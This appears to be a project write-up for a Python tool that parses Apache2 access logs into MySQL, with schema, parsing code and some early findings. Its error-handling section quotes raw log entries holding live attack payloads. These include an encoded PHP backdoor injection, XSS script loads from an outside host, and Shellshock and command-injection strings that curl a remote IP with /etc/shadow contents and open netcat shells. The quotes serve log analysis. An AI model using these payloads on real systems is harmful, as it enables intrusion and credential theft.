
Version 1.01
- Introduction
- Database Setup
- Parsing the Apache2 Log
- Database Entry
- Error Handling
- Download
- Some Initial Findings of Our Database
INTRODUCTION
Years of Apache2 log entries necessitated an application to feed access log files to a database. Population of a database via Python was the fastest and easiest way to get to analysis, though other languages may operate faster at the hardware level. Python already has a lot of the database libraries precanned, and is very easy to use. Finally, though MySQL may not have been the optimal choice, it is the database that has a graphical browser that I could get on Ubuntu. The program should be easily modifiable to fit your needs.
This program is under the GNU GPL Version 3.0 license. It is free of charge, no warranties, and if you want to give attribution that’s fine, if not, that is fine also. I don’t do this for fame, honor, or money, LOL.
DATABASE SETUP
The Mysql database requires a user with appropriate permissions and tables with columns and indexes pertaining to the fields of the Apache2 access log. There should be two database tables, one for the access log itself, and one for the forensic log. The forensic log is a log file that mod_forensic creates, containing extra data useful for forensic analysis.
We labeled our database “la_data” for “Log Analysis Data”. la_data contains two tables, log_data and for_data. The tables have self-explanatory labels. For the columns of log_data, we chose the standard Combined Log Format specified in “Log Files – Apache HTTP Server Version 2.4“, copied here for brevity:
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\" %{forensic-id}n" combined
For each log field, we will have a column, including the first column being the key, log_index. Then, we have:
Table Column | Log Field | Description |
---|---|---|
*log_index | Primary Key | |
*log_ipaddress | %h | IP Address VARCHAR(39) |
*log_ipaddress_int | Unsigned INT | |
log_remlogname | %l | Remote logname VARCHAR(64) |
log_remuser | %u | Remote username VARCHAR(64) |
*log_timestamp | %t | Timestamp VARCHAR(27) |
*log_request | %r | Client request TEXT |
log_statuscode | %s | Request status Unsigned SMALLINT |
log_bytessent | %O | Bytes sent Unsigned INT |
*log_referer | %{Referrer}i | Request referrer TEXT |
*log_useragent | %{User-Agent}i | User agent TEXT |
*log_forensicid | %{forensic-id}n | Forensic log id VARCHAR(32) |
At the time of writing, we have not yet set up for_data because we have not reached the stage of implementing columns in that table.
For indexing, we index on the columns preceded by an asterisk in the above table. The index speeds up searches because values like IP addresses frequently repeat.
For the database user we chose “la_data” (la\_data) for simplicity, and la_data must have the following grants:
SELECT, UPDATE, INSERT, DELETE, CREATE, ALTER, and DROP.
PARSING THE APACHE2 LOG
This section represents the core of the operation, as it converts each log line into columns for every row of the log entry. Assuming that we are reading log lines from a log file, each field has a certain format and possible errors that can occur.
We can easily parse the first few fields up to the request because spaces separate them. Issues arise, however, when the client provides a ‘remote logname’ field longer than the 64-character database column limit. Usually when an error occurs here, you will be able to manually edit the source log file to correct the cause. Sometimes that is an attack vector from the client.
Interpreting the request field became particularly challenging, as attackers typically embed exploits within it. However, all requests terminate with the pattern of a quote character, a space, three numeric characters, and a space. That is the pattern of the request status field. That results in a very simple test for the end of the request field, i.e.
pattern = r"\" \d{3} "
test_str = log_line[last_index:]
match = re.split(pattern,test_str)
request = match[0]
We continue parsing the rest of the log row using spaces as delimiters until we reach the forensic field. Then we have to determine if we have a forensic id, and if not, fill the row column with a ‘-‘ character.
DATABASE ENTRY
Before the program can function there has to be a database connection and a log file. Therefore, we need to populate the configuration file, L2Dcfg.py, with appropriate values to establish a database connection. Example contents of the file are:
# Declare constants.
DEBUG = False
DEBUG_BUFFER = False
HOST = "localhost"
USER = "la_data"
PWD = "ficatu"
DATABASE = "la_data"
Once we’ve established a database connection and located a log file, the program enters a loop to process each log line into an array. After reading the entire log file, it efficiently inserts the data into the database in bulk. The reason for the bulk insert is that it allows for an easy identification of errors and database rollback. If the bulk insert completes without errors, the program commits the transaction to the database and then terminates.
Because we sometimes enter many log files, the following script simplifies recursive reading. For convenience, we separated log files into groups by year.
#! /bin/bash
for f in ./access.log-2024*
do
python3 ~/Projects/Python/Logs2Database/main.py $f
done
ERROR HANDLING
Errors usually occur if data exceeds column widths during bulk inserts, or if something disrupts parsing. The program accesses the database only during bulk inserts, and if errors occur at that stage, it rolls back the database transaction.
A helpful feature of the bulk insert process is that errors provide the row index to the log file, making it much easier to identify and fix issues. Opening an Apache2 access log file with a graphical editor like Geany allows jumping right to the row that contains the error.
Some error types:
- Mis-formatted timestamps. i.e. [12-23-2012UTC17:00:00] instead of [23/Dec/2012:17:00:00 +0000], or missing end start or end brackets.
- An intentionally mis-formatted request intended to trigger a CVE, cause a race, or result in a denial of service. These may have to be individually interpreted before they can be entered into the database. In the following case, the logger message length is exceeded, and the message is continued on the following line with an “! ” and a carriage return. Those must be removed. i.e.:
107.189.12.105 - - [02/Aug/2023:10:50:54 +0000] "GET //plus/erraddsave.php?dopost=saveedit&a=b&arrs1[]=99&c=d&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=56&arrs2[]=56&arrs2[]=56&arrs2[]=56&arrs2[]=44&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=105&arrs2[]=102&arrs2[]=40&arrs2[]=105&arrs2[]=115&arrs2[]=115&arrs2[]=101&arrs2[]=116&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=39&arrs2[]=39&arrs2[]=108&arrs2[]=101&arrs2[]=109&arrs2[]=111&arrs2[]=110&arrs2[]=39&arrs2[]=39&arrs2[]=93&arrs2[]=41&arrs2[]=41&arrs2[]=123&arrs2[]=36&arrs2[]=97&arrs2[]=61&arrs2[]=115&arrs2[]=116&arrs2[]=114&arrs2[]=114&arrs2[]=101&arrs2[]=118&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=101&arrs2[]=99&arrs2[]=97&arrs2[]=108&arrs2[]=112&arrs2[]=101&arrs2[]=114&arrs2[]=95&arrs2[]=103&arrs2[]=101&arrs2[]=114&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=36&arrs2[]=98&arrs2[]=61&arrs2[]=115&arrs2[]=116&arrs2[]=114&arrs2[]=114&arrs2[]=101&arrs2[]=118&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=101&arrs2[]=100&arrs2[]=111&arrs2[]=99&arrs2[]=101&arrs2[]=100&arrs2[]=95&arrs2[]=52&arrs2[]=54&arrs2[]=101&arrs2[]=115&arrs2[]=97&arrs2[]=98&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=36&arrs2[]=97&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=47&arrs2[]=94&arrs2[]=47&arrs2[]=101&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=36&arrs2[]=98&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=90&arrs2[]=88&arrs2[]=90&arrs2[]=104&arrs2[]=98&arrs2[]=67&arrs2[]=104&arrs2[]=105&arrs2[]=89&arrs2[]=88&arrs2[]=78&arrs2[]=108&arrs2[]=78&arrs2[]=106&arrs2[]=82!
&arrs2[]=102&arrs2[]=90&arrs2[]=71&arrs2[]=86&arrs2[]=106&arrs2[]=98&arrs2[]=50&arrs2[]=82&arrs2[]=108&arrs2[]=75&arrs2[]=67&arrs2[]=82&arrs2[]=102&arrs2[]=85&arrs2[]=107&arrs2[]=86&arrs2[]=82&arrs2[]=86&arrs2[]=85&arrs2[]=86&arrs2[]=84&arrs2[]=86&arrs2[]=70&arrs2[]=116&arrs2[]=54&arrs2[]=77&arrs2[]=70&arrs2[]=48&arrs2[]=112&arrs2[]=75&arrs2[]=81&arrs2[]=61&arrs2[]=61&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=44&arrs2[]=48&arrs2[]=41&arrs2[]=59&arrs2[]=125&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=0 HTTP/1.1" 301 2983 "https://happycattech.com//plus/erraddsave.php?dopost=saveedit&a=b&arrs1[]=99&c=d&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=56&arrs2[]=56&arrs2[]=56&arrs2[]=56&arrs2[]=44&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=105&arrs2[]=102&arrs2[]=40&arrs2[]=105&arrs2[]=115&arrs2[]=115&arrs2[]=101&arrs2[]=116&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=39&arrs2[]=39&arrs2[]=108&arrs2[]=101&arrs2[]=109&arrs2[]=111&arrs2[]=110&arrs2[]=39&arrs2[]=39&arrs2[]=93&arrs2[]=41&arrs2[]=41&arrs2[]=123&arrs2[]=36&arrs2[]=97&arrs2[]=61&arrs2[]=115&arrs2[]=116&arrs2[]=114&arrs2[]=114&arrs2[]=101&arrs2[]=118&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=101&arrs2[]=99&arrs2[]=97&arrs2[]=108&arrs2[]=112&arrs2[]=101&arrs2[]=114&arrs2[]=95&arrs2[]=103&arrs2[]=101&arrs2[]=114&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=36&arrs2[]=98&arrs2[]=61&arrs2[]=115&arrs2[]=116&arrs2[]=114&arrs2[]=114&arrs2[]=101&arrs2[]=118&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=101&arrs2[]=100&arrs2[]=111&arrs2[]!
=99&arrs2[]=101&arrs2[]=100&arrs2[]=95&arrs2[]=52&arrs2[]=54&arrs2[]=101&arrs2[]=115&arrs2[]=97&arrs2[]=98&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=36&arrs2[]=97&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=47&arrs2[]=94&arrs2[]=47&arrs2[]=101&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=36&arrs2[]=98&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=90&arrs2[]=88&arrs2[]=90&arrs2[]=104&arrs2[]=98&arrs2[]=67&arrs2[]=104&arrs2[]=105&arrs2[]=89&arrs2[]=88&arrs2[]=78&arrs2[]=108&arrs2[]=78&arrs2[]=106&arrs2[]=82&arrs2[]=102&arrs2[]=90&arrs2[]=71&arrs2[]=86&arrs2[]=106&arrs2[]=98&arrs2[]=50&arrs2[]=82&arrs2[]=108&arrs2[]=75&arrs2[]=67&arrs2[]=82&arrs2[]=102&arrs2[]=85&arrs2[]=107&arrs2[]=86&arrs2[]=82&arrs2[]=86&arrs2[]=85&arrs2[]=86&arrs2[]=84&arrs2[]=86&arrs2[]=70&arrs2[]=116&arrs2[]=54&arrs2[]=77&arrs2[]=70&arrs2[]=48&arrs2[]=112&arrs2[]=75&arrs2[]=81&arrs2[]=61&arrs2[]=61&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=44&arrs2[]=48&arrs2[]=41&arrs2[]=59&arrs2[]=125&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=0" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
- An intentionally mis-formatted referrer or client user agent trying again to trigger a CVE, cause a race, or result in a denial of service. i.e.:
185.220.100.255 - - [04/Sep/2023:14:03:49 +0000] "GET / HTTP/1.1" 200 14910 "-" "\\\\\\\\*****-->>12<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";<a href=\"https://image-link.com/image.jpg\" title=\"\"><script>/*xss\" rel=\"lightbox[gallery]\">84**00000</a><a href=\"https://image-link.com/image.jpg\" title=\"*/prompt/*xxxxx\" rel=\"lightbox[gallery]\">84**00001</a><a href=\"https://image-link.com/image.jpg\" title=\"*/(document/*xx\" rel=\"lightbox[gallery]\">84**00002</a><a href=\"https://image-link.com/image.jpg\" title=\"*/.domain)/*xxx\" rel=\"lightbox[gallery]\">84**00003</a><a href=\"https://image-link.com/image.jpg\" title=\"*/</script><!--\" rel=\"lightbox[gallery]\">84**00004</a>}}''<xml>test</title>}}));;;@test.com\"><script src=\"https://xless-theta-one.vercel.app/195370A\"></script><meta http-equiv=\"refresh\" content=\"0; url=http://127.0.0.1\">"
- And in the following craziness, the referrer was so mangled that it is better to insert a null referrer field into the log, “-“. i.e.
185.220.100.244 - - [09/Sep/2023:01:34:53 +0000] "GET / HTTP/1.1" 301 5196 "<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvMTk1MzcwQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>Unix : <!--#exec%20cmd="/bin/cat%20/etc/passwd"--> <!--#exec%20cmd="/bin/cat%20/etc/shadow"--> <!--#exec%20cmd="/usr/bin/id;--> <!--#exec%20cmd="/usr/bin/id;--> /index.html|id| ;id; ;id ;netstat -a; ;system('cat%20/etc/passwd') ;id; |id |/usr/bin/id |id| |/usr/bin/id| ||/usr/bin/id| |id; ||/usr/bin/id; ;id| ;|/usr/bin/id| \\n/bin/ls -al\\n \\n/usr/bin/id\\n \\nid\\n \\n/usr/bin/id; \\nid; \\n/usr/bin/id| \\nid| ;/usr/bin/id\\n ;id\\n |usr/bin/id\\n |nid\\n `id` `/usr/bin/id` a);id a;id a);id; a;id; a);id| a;id| a)|id a|id a)|id; a|id |/bin/ls -al a);/usr/bin/id a;/usr/bin/id a);/usr/bin/id; a;/usr/bin/id; a);/usr/bin/id| a;/usr/bin/id| a)|/usr/bin/id a|/usr/bin/id a)|/usr/bin/id; a|/usr/bin/id ;system('cat%20/etc/passwd') ;system('id') ;system('/usr/bin/id') %0Acat%20/etc/passwd %0A/usr/bin/id %0Aid %0A/usr/bin/id%0A %0Aid%0A & ping -i 30 127.0.0.1 & & ping -n 30 127.0.0.1 & %0a ping -i 30 127.0.0.1 %0a `ping 127.0.0.1` | id & id ; id %0a id %0a `id` $;/usr/bin/id () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\\`whoami\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\\`pwd\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\\`grep root /etc/shadow\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\\`uname -a\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\\`nc -lvvp 1234 -e /bin/bash\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\\`nc -lvvp 1236 -e /bin/bash &\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=5\" () { :;}; /bin/bash -c \"sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6\" () { :;}; /bin/bash -c \"sleep 1 && echo vulnerable 1\" () { :;}; /bin/bash -c \"sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7\" () { :;}; /bin/bash -c \"sleep 3 && echo vulnerable 3\" () { :;}; /bin/bash -c \"sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8\" () { :;}; /bin/bash -c \"sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9\" () { :;}; /bin/bash -c \"sleep 6 && echo vulnerable 6\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\\`whoami\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\\`pwd\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\\`grep root /etc/shadow\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\\`uname -a\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\\`nc -lvvp 1235 -e /bin/bash\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\\`nc -lvvp 1237 -e /bin/bash &\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=4\" cat /etc/hosts $(`cat /etc/passwd`) cat /etc/passwd %0Acat%20/etc/passwd {{ get_user_file(\"/etc/passwd\") }} <!--#exec cmd=\"/bin/cat /etc/passwd\"--> <!--#exec cmd=\"/bin/cat /etc/shadow\"--> <!--#exec cmd=\"/usr/bin/id;--> system('cat /etc/passwd'); <?php system(\"cat /etc/passwd\");?>" "<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvMTk1MzcwQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))> Unix : <!--#exec%20cmd="/bin/cat%20/etc/passwd"--> <!--#exec%20cmd="/bin/cat%20/etc/shadow"--> <!--#exec%20cmd="/usr/bin/id;--> <!--#exec%20cmd="/usr/bin/id;--> /index.html|id| ;id; ;id ;netstat -a; ;system('cat%20/etc/passwd') ;id; |id |/usr/bin/id |id| |/usr/bin/id| ||/usr/bin/id| |id; ||/usr/bin/id; ;id| ;|/usr/bin/id| \\n/bin/ls -al\\n \\n/usr/bin/id\\n \\nid\\n \\n/usr/bin/id; \\nid; \\n/usr/bin/id| \\nid| ;/usr/bin/id\\n ;id\\n |usr/bin/id\\n |nid\\n `id` `/usr/bin/id` a);id a;id a);id; a;id; a);id| a;id| a)|id a|id a)|id; a|id |/bin/ls -al a);/usr/bin/id a;/usr/bin/id a);/usr/bin/id; a;/usr/bin/id; a);/usr/bin/id| a;/usr/bin/id| a)|/usr/bin/id a|/usr/bin/id a)|/usr/bin/id; a|/usr/bin/id ;system('cat%20/etc/passwd') ;system('id') ;system('/usr/bin/id') %0Acat%20/etc/passwd %0A/usr/bin/id %0Aid %0A/usr/bin/id%0A %0Aid%0A & ping -i 30 127.0.0.1 & & ping -n 30 127.0.0.1 & %0a ping -i 30 127.0.0.1 %0a `ping 127.0.0.1` | id & id ; id %0a id %0a `id` $;/usr/bin/id () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\\`whoami\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\\`pwd\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\\`grep root /etc/shadow\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\\`uname -a\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\\`nc -lvvp 1234 -e /bin/bash\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\\`nc -lvvp 1236 -e /bin/bash &\\`\" () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=5\" () { :;}; /bin/bash -c \"sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6\" () { :;}; /bin/bash -c \"sleep 1 && echo vulnerable 1\" () { :;}; /bin/bash -c \"sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7\" () { :;}; /bin/bash -c \"sleep 3 && echo vulnerable 3\" () { :;}; /bin/bash -c \"sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8\" () { :;}; /bin/bash -c \"sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9\" () { :;}; /bin/bash -c \"sleep 6 && echo vulnerable 6\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\\`whoami\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\\`pwd\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\\`grep root /etc/shadow\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\\`uname -a\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\\`nc -lvvp 1235 -e /bin/bash\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\\`nc -lvvp 1237 -e /bin/bash &\\`\" () { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=4\" cat /etc/hosts $(`cat /etc/passwd`) cat /etc/passwd %0Acat%20/etc/passwd {{ get_user_file(\"/etc/passwd\") }} <!--#exec cmd=\"/bin/cat /etc/passwd\"--> <!--#exec cmd=\"/bin/cat /etc/shadow\"--> <!--#exec cmd=\"/usr/bin/id;--> system('cat /etc/passwd'); <?php system(\"cat /etc/passwd\");?>"
DOWNLOAD
Size: 3738 bytes
MD5: 4568ba041041c28b375fe429224acfd9
SOME INITIAL FINDINGS OF OUR DATABASE
As of this writing:
There are 662964 rows in the database, non-inclusive for the years 2022-2024. We haven’t processed some files yet.
The top five wp-login.php attackers were from SG, ID, NL, UA, and VN. These five attackers attempted to gain access 190 times in the years logged, out of 4099 attempts.
The worse repeat offender to try to access /.env is 149.156.102.158 with 1585 attempts. They are:
[149.156.102.158]
country.iso_code: PL
country.names.en: Poland
city.names.en: Krakow
location.latitude: 50.097300
location.longitude: 20.143600
location.accuracy_radius: 20
autonomous_system_organization: Academic Computer Centre CYFRONET AGH
autonomous_system_number: 8267
# End 149.156.102.158
There are all kinds of things you can find out, as you add geolocation, nmapping, Metasploit Framework, etc., to the tools that can integrate with an Apache2 access log database.